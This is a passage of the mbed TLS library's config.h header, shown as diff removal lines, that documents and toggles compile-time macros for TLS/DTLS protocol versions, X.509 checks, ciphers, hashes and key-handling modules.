MBEDTLS_SSL_PROTO_TLS1 - * - * Enable support for TLS 1.0. - * - * Requires: MBEDTLS_MD5_C - * MBEDTLS_SHA1_C - * - * Comment this macro to disable support for TLS 1.0 - */ -#define MBEDTLS_SSL_PROTO_TLS1 - -/** - * \def MBEDTLS_SSL_PROTO_TLS1_1 - * - * Enable support for TLS 1.1 (and DTLS 1.0 if DTLS is enabled). - * - * Requires: MBEDTLS_MD5_C - * MBEDTLS_SHA1_C - * - * Comment this macro to disable support for TLS 1.1 / DTLS 1.0 - */ -#define MBEDTLS_SSL_PROTO_TLS1_1 - -/** - * \def MBEDTLS_SSL_PROTO_TLS1_2 - * - * Enable support for TLS 1.2 (and DTLS 1.2 if DTLS is enabled). - * - * Requires: MBEDTLS_SHA1_C or MBEDTLS_SHA256_C or MBEDTLS_SHA512_C - * (Depends on ciphersuites) - * - * Comment this macro to disable support for TLS 1.2 / DTLS 1.2 - */ -#define MBEDTLS_SSL_PROTO_TLS1_2 - -/** - * \def MBEDTLS_SSL_PROTO_DTLS - * - * Enable support for DTLS (all available versions). - * - * Enable this and MBEDTLS_SSL_PROTO_TLS1_1 to enable DTLS 1.0, - * and/or this and MBEDTLS_SSL_PROTO_TLS1_2 to enable DTLS 1.2. - * - * Requires: MBEDTLS_SSL_PROTO_TLS1_1 - * or MBEDTLS_SSL_PROTO_TLS1_2 - * - * Comment this macro to disable support for DTLS - */ -#define MBEDTLS_SSL_PROTO_DTLS - -/** - * \def MBEDTLS_SSL_ALPN - * - * Enable support for RFC 7301 Application Layer Protocol Negotiation. - * - * Comment this macro to disable support for ALPN. - */ -#define MBEDTLS_SSL_ALPN - -/** - * \def MBEDTLS_SSL_DTLS_ANTI_REPLAY - * - * Enable support for the anti-replay mechanism in DTLS. - * - * Requires: MBEDTLS_SSL_TLS_C - * MBEDTLS_SSL_PROTO_DTLS - * - * \warning Disabling this is often a security risk! - * See mbedtls_ssl_conf_dtls_anti_replay() for details. - * - * Comment this to disable anti-replay in DTLS. - */ -#define MBEDTLS_SSL_DTLS_ANTI_REPLAY - -/** - * \def MBEDTLS_SSL_DTLS_HELLO_VERIFY - * - * Enable support for HelloVerifyRequest on DTLS servers. - * - * This feature is highly recommended to prevent DTLS servers being used as - * amplifiers in DoS attacks against other hosts. It should always be enabled - * unless you know for sure amplification cannot be a problem in the - * environment in which your server operates. - * - * \warning Disabling this can ba a security risk! (see above) - * - * Requires: MBEDTLS_SSL_PROTO_DTLS - * - * Comment this to disable support for HelloVerifyRequest. - */ -#define MBEDTLS_SSL_DTLS_HELLO_VERIFY - -/** - * \def MBEDTLS_SSL_DTLS_CLIENT_PORT_REUSE - * - * Enable server-side support for clients that reconnect from the same port. - * - * Some clients unexpectedly close the connection and try to reconnect using the - * same source port. This needs special support from the server to handle the - * new connection securely, as described in section 4.2.8 of RFC 6347. This - * flag enables that support. - * - * Requires: MBEDTLS_SSL_DTLS_HELLO_VERIFY - * - * Comment this to disable support for clients reusing the source port. - */ -#define MBEDTLS_SSL_DTLS_CLIENT_PORT_REUSE - -/** - * \def MBEDTLS_SSL_DTLS_BADMAC_LIMIT - * - * Enable support for a limit of records with bad MAC. - * - * See mbedtls_ssl_conf_dtls_badmac_limit(). - * - * Requires: MBEDTLS_SSL_PROTO_DTLS - */ -#define MBEDTLS_SSL_DTLS_BADMAC_LIMIT - -/** - * \def MBEDTLS_SSL_SESSION_TICKETS - * - * Enable support for RFC 5077 session tickets in SSL. - * Client-side, provides full support for session tickets (maintainance of a - * session store remains the responsibility of the application, though). - * Server-side, you also need to provide callbacks for writing and parsing - * tickets, including authenticated encryption and key management. Example - * callbacks are provided by MBEDTLS_SSL_TICKET_C. - * - * Comment this macro to disable support for SSL session tickets - */ -#define MBEDTLS_SSL_SESSION_TICKETS - -/** - * \def MBEDTLS_SSL_EXPORT_KEYS - * - * Enable support for exporting key block and master secret. - * This is required for certain users of TLS, e.g. EAP-TLS. - * - * Comment this macro to disable support for key export - */ -#define MBEDTLS_SSL_EXPORT_KEYS - -/** - * \def MBEDTLS_SSL_SERVER_NAME_INDICATION - * - * Enable support for RFC 6066 server name indication (SNI) in SSL. - * - * Requires: MBEDTLS_X509_CRT_PARSE_C - * - * Comment this macro to disable support for server name indication in SSL - */ -#define MBEDTLS_SSL_SERVER_NAME_INDICATION - -/** - * \def MBEDTLS_SSL_TRUNCATED_HMAC - * - * Enable support for RFC 6066 truncated HMAC in SSL. - * - * Comment this macro to disable support for truncated HMAC in SSL - */ -#define MBEDTLS_SSL_TRUNCATED_HMAC - -/** - * \def MBEDTLS_THREADING_ALT - * - * Provide your own alternate threading implementation. - * - * Requires: MBEDTLS_THREADING_C - * - * Uncomment this to allow your own alternate threading implementation. - */ -//#define MBEDTLS_THREADING_ALT - -/** - * \def MBEDTLS_THREADING_PTHREAD - * - * Enable the pthread wrapper layer for the threading layer. - * - * Requires: MBEDTLS_THREADING_C - * - * Uncomment this to enable pthread mutexes. - */ -//#define MBEDTLS_THREADING_PTHREAD - -/** - * \def MBEDTLS_VERSION_FEATURES - * - * Allow run-time checking of compile-time enabled features. Thus allowing users - * to check at run-time if the library is for instance compiled with threading - * support via mbedtls_version_check_feature(). - * - * Requires: MBEDTLS_VERSION_C - * - * Comment this to disable run-time checking and save ROM space - */ -#define MBEDTLS_VERSION_FEATURES - -/** - * \def MBEDTLS_X509_ALLOW_EXTENSIONS_NON_V3 - * - * If set, the X509 parser will not break-off when parsing an X509 certificate - * and encountering an extension in a v1 or v2 certificate. - * - * Uncomment to prevent an error. - */ -//#define MBEDTLS_X509_ALLOW_EXTENSIONS_NON_V3 - -/** - * \def MBEDTLS_X509_ALLOW_UNSUPPORTED_CRITICAL_EXTENSION - * - * If set, the X509 parser will not break-off when parsing an X509 certificate - * and encountering an unknown critical extension. - * - * \warning Depending on your PKI use, enabling this can be a security risk! - * - * Uncomment to prevent an error. - */ -//#define MBEDTLS_X509_ALLOW_UNSUPPORTED_CRITICAL_EXTENSION - -/** - * \def MBEDTLS_X509_CHECK_KEY_USAGE - * - * Enable verification of the keyUsage extension (CA and leaf certificates). - * - * Disabling this avoids problems with mis-issued and/or misused - * (intermediate) CA and leaf certificates. - * - * \warning Depending on your PKI use, disabling this can be a security risk! - * - * Comment to skip keyUsage checking for both CA and leaf certificates. - */ -#define MBEDTLS_X509_CHECK_KEY_USAGE - -/** - * \def MBEDTLS_X509_CHECK_EXTENDED_KEY_USAGE - * - * Enable verification of the extendedKeyUsage extension (leaf certificates). - * - * Disabling this avoids problems with mis-issued and/or misused certificates. - * - * \warning Depending on your PKI use, disabling this can be a security risk! - * - * Comment to skip extendedKeyUsage checking for certificates. - */ -#define MBEDTLS_X509_CHECK_EXTENDED_KEY_USAGE - -/** - * \def MBEDTLS_X509_RSASSA_PSS_SUPPORT - * - * Enable parsing and verification of X.509 certificates, CRLs and CSRS - * signed with RSASSA-PSS (aka PKCS#1 v2.1). - * - * Comment this macro to disallow using RSASSA-PSS in certificates. - */ -#define MBEDTLS_X509_RSASSA_PSS_SUPPORT - -/** - * \def MBEDTLS_ZLIB_SUPPORT - * - * If set, the SSL/TLS module uses ZLIB to support compression and - * decompression of packet data. - * - * \warning TLS-level compression MAY REDUCE SECURITY! See for example the - * CRIME attack. Before enabling this option, you should examine with care if - * CRIME or similar exploits may be a applicable to your use case. - * - * \note Currently compression can't be used with DTLS. - * - * Used in: library/ssl_tls.c - * library/ssl_cli.c - * library/ssl_srv.c - * - * This feature requires zlib library and headers to be present. - * - * Uncomment to enable use of ZLIB - */ -//#define MBEDTLS_ZLIB_SUPPORT -/* \} name SECTION: mbed TLS feature support */ - -/** - * \name SECTION: mbed TLS modules - * - * This section enables or disables entire modules in mbed TLS - * \{ - */ - -/** - * \def MBEDTLS_AESNI_C - * - * Enable AES-NI support on x86-64. - * - * Module: library/aesni.c - * Caller: library/aes.c - * - * Requires: MBEDTLS_HAVE_ASM - * - * This modules adds support for the AES-NI instructions on x86-64 - */ -#define MBEDTLS_AESNI_C - -/** - * \def MBEDTLS_AES_C - * - * Enable the AES block cipher. - * - * Module: library/aes.c - * Caller: library/ssl_tls.c - * library/pem.c - * library/ctr_drbg.c - * - * This module enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_WITH_AES_256_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_PSK_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_PSK_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_PSK_WITH_AES_128_CBC_SHA - * - * PEM_PARSE uses AES for decrypting encrypted keys. - */ -#define MBEDTLS_AES_C - -/** - * \def MBEDTLS_ARC4_C - * - * Enable the ARCFOUR stream cipher. - * - * Module: library/arc4.c - * Caller: library/ssl_tls.c - * - * This module enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDH_ECDSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_ECDHE_PSK_WITH_RC4_128_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_RC4_128_SHA - * MBEDTLS_TLS_RSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_RSA_WITH_RC4_128_MD5 - * MBEDTLS_TLS_RSA_PSK_WITH_RC4_128_SHA - * MBEDTLS_TLS_PSK_WITH_RC4_128_SHA - */ -#define MBEDTLS_ARC4_C - -/** - * \def MBEDTLS_ASN1_PARSE_C - * - * Enable the generic ASN1 parser. - * - * Module: library/asn1.c - * Caller: library/x509.c - * library/dhm.c - * library/pkcs12.c - * library/pkcs5.c - * library/pkparse.c - */ -#define MBEDTLS_ASN1_PARSE_C - -/** - * \def MBEDTLS_ASN1_WRITE_C - * - * Enable the generic ASN1 writer. - * - * Module: library/asn1write.c - * Caller: library/ecdsa.c - * library/pkwrite.c - * library/x509_create.c - * library/x509write_crt.c - * library/mbedtls_x509write_csr.c - */ -#define MBEDTLS_ASN1_WRITE_C - -/** - * \def MBEDTLS_BASE64_C - * - * Enable the Base64 module. - * - * Module: library/base64.c - * Caller: library/pem.c - * - * This module is required for PEM support (required by X.509). - */ -#define MBEDTLS_BASE64_C - -/** - * \def MBEDTLS_BIGNUM_C - * - * Enable the multi-precision integer library. - * - * Module: library/bignum.c - * Caller: library/dhm.c - * library/ecp.c - * library/ecdsa.c - * library/rsa.c - * library/ssl_tls.c - * - * This module is required for RSA, DHM and ECC (ECDH, ECDSA) support. - */ -#define MBEDTLS_BIGNUM_C - -/** - * \def MBEDTLS_BLOWFISH_C - * - * Enable the Blowfish block cipher. - * - * Module: library/blowfish.c - */ -#define MBEDTLS_BLOWFISH_C - -/** - * \def MBEDTLS_CAMELLIA_C - * - * Enable the Camellia block cipher. - * - * Module: library/camellia.c - * Caller: library/ssl_tls.c - * - * This module enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256 - */ -#define MBEDTLS_CAMELLIA_C - -/** - * \def MBEDTLS_CCM_C - * - * Enable the Counter with CBC-MAC (CCM) mode for 128-bit block cipher. - * - * Module: library/ccm.c - * - * Requires: MBEDTLS_AES_C or MBEDTLS_CAMELLIA_C - * - * This module enables the AES-CCM ciphersuites, if other requisites are - * enabled as well. - */ -#define MBEDTLS_CCM_C - -/** - * \def MBEDTLS_CERTS_C - * - * Enable the test certificates. - * - * Module: library/certs.c - * Caller: - * - * This module is used for testing (ssl_client/server). - */ -#define MBEDTLS_CERTS_C - -/** - * \def MBEDTLS_CIPHER_C - * - * Enable the generic cipher layer. - * - * Module: library/cipher.c - * Caller: library/ssl_tls.c - * - * Uncomment to enable generic cipher wrappers. - */ -#define MBEDTLS_CIPHER_C - -/** - * \def MBEDTLS_CTR_DRBG_C - * - * Enable the CTR_DRBG AES-256-based random generator. - * - * Module: library/ctr_drbg.c - * Caller: - * - * Requires: MBEDTLS_AES_C - * - * This module provides the CTR_DRBG AES-256 random number generator. - */ -#define MBEDTLS_CTR_DRBG_C - -/** - * \def MBEDTLS_DEBUG_C - * - * Enable the debug functions. - * - * Module: library/debug.c - * Caller: library/ssl_cli.c - * library/ssl_srv.c - * library/ssl_tls.c - * - * This module provides debugging functions. - */ -#define MBEDTLS_DEBUG_C - -/** - * \def MBEDTLS_DES_C - * - * Enable the DES block cipher. - * - * Module: library/des.c - * Caller: library/pem.c - * library/ssl_tls.c - * - * This module enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_PSK_WITH_3DES_EDE_CBC_SHA - * - * PEM_PARSE uses DES/3DES for decrypting encrypted keys. - */ -#define MBEDTLS_DES_C - -/** - * \def MBEDTLS_DHM_C - * - * Enable the Diffie-Hellman-Merkle module. - * - * Module: library/dhm.c - * Caller: library/ssl_cli.c - * library/ssl_srv.c - * - * This module is used by the following key exchanges: - * DHE-RSA, DHE-PSK - */ -#define MBEDTLS_DHM_C - -/** - * \def MBEDTLS_ECDH_C - * - * Enable the elliptic curve Diffie-Hellman library. - * - * Module: library/ecdh.c - * Caller: library/ssl_cli.c - * library/ssl_srv.c - * - * This module is used by the following key exchanges: - * ECDHE-ECDSA, ECDHE-RSA, DHE-PSK - * - * Requires: MBEDTLS_ECP_C - */ -#define MBEDTLS_ECDH_C - -/** - * \def MBEDTLS_ECDSA_C - * - * Enable the elliptic curve DSA library. - * - * Module: library/ecdsa.c - * Caller: - * - * This module is used by the following key exchanges: - * ECDHE-ECDSA - * - * Requires: MBEDTLS_ECP_C, MBEDTLS_ASN1_WRITE_C, MBEDTLS_ASN1_PARSE_C - */ -#define MBEDTLS_ECDSA_C - -/** - * \def MBEDTLS_ECJPAKE_C - * - * Enable the elliptic curve J-PAKE library. - * - * \warning This is currently experimental. EC J-PAKE support is based on the - * Thread v1.0.0 specification; incompatible changes to the specification - * might still happen. For this reason, this is disabled by default. - * - * Module: library/ecjpake.c - * Caller: - * - * This module is used by the following key exchanges: - * ECJPAKE - * - * Requires: MBEDTLS_ECP_C, MBEDTLS_MD_C - */ -//#define MBEDTLS_ECJPAKE_C - -/** - * \def MBEDTLS_ECP_C - * - * Enable the elliptic curve over GF(p) library. - * - * Module: library/ecp.c - * Caller: library/ecdh.c - * library/ecdsa.c - * library/ecjpake.c - * - * Requires: MBEDTLS_BIGNUM_C and at least one MBEDTLS_ECP_DP_XXX_ENABLED - */ -#define MBEDTLS_ECP_C - -/** - * \def MBEDTLS_ENTROPY_C - * - * Enable the platform-specific entropy code. - * - * Module: library/entropy.c - * Caller: - * - * Requires: MBEDTLS_SHA512_C or MBEDTLS_SHA256_C - * - * This module provides a generic entropy pool - */ -#define MBEDTLS_ENTROPY_C - -/** - * \def MBEDTLS_ERROR_C - * - * Enable error code to error string conversion. - * - * Module: library/error.c - * Caller: - * - * This module enables mbedtls_strerror(). - */ -#define MBEDTLS_ERROR_C - -/** - * \def MBEDTLS_GCM_C - * - * Enable the Galois/Counter Mode (GCM) for AES. - * - * Module: library/gcm.c - * - * Requires: MBEDTLS_AES_C or MBEDTLS_CAMELLIA_C - * - * This module enables the AES-GCM and CAMELLIA-GCM ciphersuites, if other - * requisites are enabled as well. - */ -#define MBEDTLS_GCM_C - -/** - * \def MBEDTLS_HAVEGE_C - * - * Enable the HAVEGE random generator. - * - * Warning: the HAVEGE random generator is not suitable for virtualized - * environments - * - * Warning: the HAVEGE random generator is dependent on timing and specific - * processor traits. It is therefore not advised to use HAVEGE as - * your applications primary random generator or primary entropy pool - * input. As a secondary input to your entropy pool, it IS able add - * the (limited) extra entropy it provides. - * - * Module: library/havege.c - * Caller: - * - * Requires: MBEDTLS_TIMING_C - * - * Uncomment to enable the HAVEGE random generator. - */ -//#define MBEDTLS_HAVEGE_C - -/** - * \def MBEDTLS_HMAC_DRBG_C - * - * Enable the HMAC_DRBG random generator. - * - * Module: library/hmac_drbg.c - * Caller: - * - * Requires: MBEDTLS_MD_C - * - * Uncomment to enable the HMAC_DRBG random number geerator. - */ -#define MBEDTLS_HMAC_DRBG_C - -/** - * \def MBEDTLS_MD_C - * - * Enable the generic message digest layer. - * - * Module: library/mbedtls_md.c - * Caller: - * - * Uncomment to enable generic message digest wrappers. - */ -#define MBEDTLS_MD_C - -/** - * \def MBEDTLS_MD2_C - * - * Enable the MD2 hash algorithm. - * - * Module: library/mbedtls_md2.c - * Caller: - * - * Uncomment to enable support for (rare) MD2-signed X.509 certs. - */ -//#define MBEDTLS_MD2_C - -/** - * \def MBEDTLS_MD4_C - * - * Enable the MD4 hash algorithm. - * - * Module: library/mbedtls_md4.c - * Caller: - * - * Uncomment to enable support for (rare) MD4-signed X.509 certs. - */ -//#define MBEDTLS_MD4_C - -/** - * \def MBEDTLS_MD5_C - * - * Enable the MD5 hash algorithm. - * - * Module: library/mbedtls_md5.c - * Caller: library/mbedtls_md.c - * library/pem.c - * library/ssl_tls.c - * - * This module is required for SSL/TLS and X.509. - * PEM_PARSE uses MD5 for decrypting encrypted keys. - */ -#define MBEDTLS_MD5_C - -/** - * \def MBEDTLS_MEMORY_BUFFER_ALLOC_C - * - * Enable the buffer allocator implementation that makes use of a (stack) - * based buffer to 'allocate' dynamic memory. (replaces calloc() and free() - * calls) - * - * Module: library/memory_buffer_alloc.c - * - * Requires: MBEDTLS_PLATFORM_C - * MBEDTLS_PLATFORM_MEMORY (to use it within mbed TLS) - * - * Enable this module to enable the buffer memory allocator. - */ -//#define MBEDTLS_MEMORY_BUFFER_ALLOC_C - -/** - * \def MBEDTLS_NET_C - * - * Enable the TCP/IP networking routines. - * - * Module: library/net.c - * - * This module provides TCP/IP networking routines. - */ -#define MBEDTLS_NET_C - -/** - * \def MBEDTLS_OID_C - * - * Enable the OID database. - * - * Module: library/oid.c - * Caller: library/asn1write.c - * library/pkcs5.c - * library/pkparse.c - * library/pkwrite.c - * library/rsa.c - * library/x509.c - * library/x509_create.c - * library/mbedtls_x509_crl.c - * library/mbedtls_x509_crt.c - * library/mbedtls_x509_csr.c - * library/x509write_crt.c - * library/mbedtls_x509write_csr.c - * - * This modules translates between OIDs and internal values. - */ -#define MBEDTLS_OID_C - -/** - * \def MBEDTLS_PADLOCK_C - * - * Enable VIA Padlock support on x86. - * - * Module: library/padlock.c - * Caller: library/aes.c - * - * Requires: MBEDTLS_HAVE_ASM - * - * This modules adds support for the VIA PadLock on x86. - */ -#define MBEDTLS_PADLOCK_C - -/** - * \def MBEDTLS_PEM_PARSE_C - * - * Enable PEM decoding / parsing. - * - * Module: library/pem.c - * Caller: library/dhm.c - * library/pkparse.c - * library/mbedtls_x509_crl.c - * library/mbedtls_x509_crt.c - * library/mbedtls_x509_csr.c - * - * Requires: MBEDTLS_BASE64_C - * - * This modules adds support for decoding / parsing PEM files. - */ -#define MBEDTLS_PEM_PARSE_C - -/** - * \def MBEDTLS_PEM_WRITE_C - * - * Enable PEM encoding / writing. - * - * Module: library/pem.c - * Caller: library/pkwrite.c - * library/x509write_crt.c - * library/mbedtls_x509write_csr.c - * - * Requires: MBEDTLS_BASE64_C - * - * This modules adds support for encoding / writing PEM files. - */ -#define MBEDTLS_PEM_WRITE_C - -/** - * \def MBEDTLS_PK_C - * - * Enable the generic public (asymetric) key layer. - * - * Module: library/pk.c - * Caller: library/ssl_tls.c - * library/ssl_cli.c - * library/ssl_srv.c - * - * Requires: MBEDTLS_RSA_C or MBEDTLS_ECP_C - * - * Uncomment to enable generic public key wrappers. - */ -#define MBEDTLS_PK_C - -/** - * \def MBEDTLS_PK_PARSE_C - * - * Enable the generic public (asymetric) key parser. - * - * Module: library/pkparse.c - * Caller: library/mbedtls_x509_crt.c - * library/mbedtls_x509_csr.c - * - * Requires: MBEDTLS_PK_C - * - * Uncomment to enable generic public key parse functions. - */ -#define MBEDTLS_PK_PARSE_C - -/** - * \def MBEDTLS_PK_WRITE_C - * - * Enable the generic public (asymetric) key writer. - * - * Module: library/pkwrite.c - * Caller: library/x509write.c - * - * Requires: MBEDTLS_PK_C - * - * Uncomment to enable generic public key write functions. - */ -#define MBEDTLS_PK_WRITE_C - -/** - * \def MBEDTLS_PKCS5_C - * - * Enable PKCS#5 functions. - * - * Module: library/pkcs5.c - * - * Requires: MBEDTLS_MD_C - * - * This module adds support for the PKCS#5 functions. - */ -#define MBEDTLS_PKCS5_C - -/** - * \def MBEDTLS_PKCS11_C - * - * Enable wrapper for PKCS#11 smartcard support. - * - * Module: library/pkcs11.c - * Caller: library/pk.c - * - * Requires: MBEDTLS_PK_C - * - * This module enables SSL/TLS PKCS #11 smartcard support. - * Requires the presence of the PKCS#11 helper library (libpkcs11-helper) - */ -//#define MBEDTLS_PKCS11_C - -/** - * \def MBEDTLS_PKCS12_C - * - * Enable PKCS#12 PBE functions. - * Adds algorithms for parsing PKCS#8 encrypted private keys - * - * Module: library/pkcs12.c - * Caller: library/pkparse.c - * - * Requires: MBEDTLS_ASN1_PARSE_C, MBEDTLS_CIPHER_C, 